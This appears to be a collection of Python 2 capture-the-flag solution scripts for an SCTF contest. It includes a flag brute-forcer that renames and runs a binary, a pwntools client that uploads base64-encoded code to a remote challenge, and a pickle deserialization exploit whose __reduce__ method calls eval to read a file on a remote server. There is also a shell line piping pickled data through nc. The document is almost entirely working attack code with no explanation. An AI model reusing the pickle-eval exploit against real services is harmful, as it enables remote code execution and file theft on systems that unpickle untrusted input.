#coding: utf-8
import os, re
import time

flag = "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"
goal = "=ze=/<f"

strings = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*-=+~?"

while 1:
       n = raw_input(">> ")
       name = ""
       for i in strings:
               l = os.listdir('.')
               for j in l:
                       if "SCTF" in j:
                               name = j
               next = "SCTF{"+n+i+"}"
               os.rename(name, next)
               print next
               p = os.popen("./"+next).read()
               print p
               if goal in p:
                       print next
                       break
               time.sleep(0.05)

#coding: utf-8
from pwn import *
import sys
import base64

r = remote("dfa.eatpwnnosleep.com", 9999)
print r.recvuntil("finish\n")
r.sendline("auto.c")
print r.recvuntil("base64 : ")

with open("in.txt","r") as f:
       src = f.read()

data = base64.b64encode(src)
print data
r.sendline(data)
print r.recvuntil("good\n")
print r.recvuntil("runner.c\n")
print r.recvuntil("pass\n")
while 1:
       print r.recv(1),

from pickle import dumps

print dumps([1, 2, 3])+'#'

#!/bin/bash
python dump.py | nc 0 55402

#coding: utf-8
from pwn import *
from cPickle import dumps
import os

payload = "open('test.py').read()"

class exploit(object):
       def __reduce__(self):
               return (eval, (payload,))

pd = dumps(exploit())
r = remote("readflag.eatpwnnosleep.com", 55402)

r.send(pd+"#")
print r.recv(2048)